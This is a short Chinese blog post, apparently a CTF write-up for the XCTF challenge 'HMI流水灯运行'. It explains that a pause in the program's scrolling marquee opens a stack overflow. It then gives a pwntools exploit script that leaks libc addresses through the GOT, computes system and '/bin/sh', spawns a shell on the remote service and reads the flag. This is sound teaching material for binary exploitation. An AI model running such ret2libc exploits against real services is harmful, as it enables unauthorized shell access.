HMI流水灯运行(xctf)

简单的程序,开始运行后会有一个跑马灯滚动。

反编译看源代码发现,跑马灯滚动三轮后有个短暂停顿,可以利用停顿间隔进行栈溢出。

from pwn import *
import time
context.log_level='debug'
r = remote("220.249.52.133",51688) 
#r = process("./format",shell = True) #executes the binary 
 
r.recvuntil("\n\n")
e = ELF("./format")
libc=ELF("./libc_32.so.6")
writeplt = e.symbols['write']
writegot = e.got['write']
readplt = e.symbols['read']
readgot = e.got['read']
main = e.symbols['gee']
 
payload1 = "A" * 140 + p32(writeplt) + p32(main) + p32(1) + p32(readgot) + p32(4)
r.sendline(payload1 ) #feeds the exploit to the binary 
a=unpack(r.recv(4)) #gets the four bytes we leaked from the GOT 
print hex(a)

libc_base = a - libc.symbols['read']
success('libcbase:'+hex(libc_base))
libc.address = libc_base
system_address = libc.symbols['system']
binsh_address = libc.search('/bin/sh').next()
 
r.sendline("A"*140 + pack(system_address)+ "BBBB"+ pack(binsh_address))
r.sendline("cat flag")
r.recvuntil("}\n")
r.close()

 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值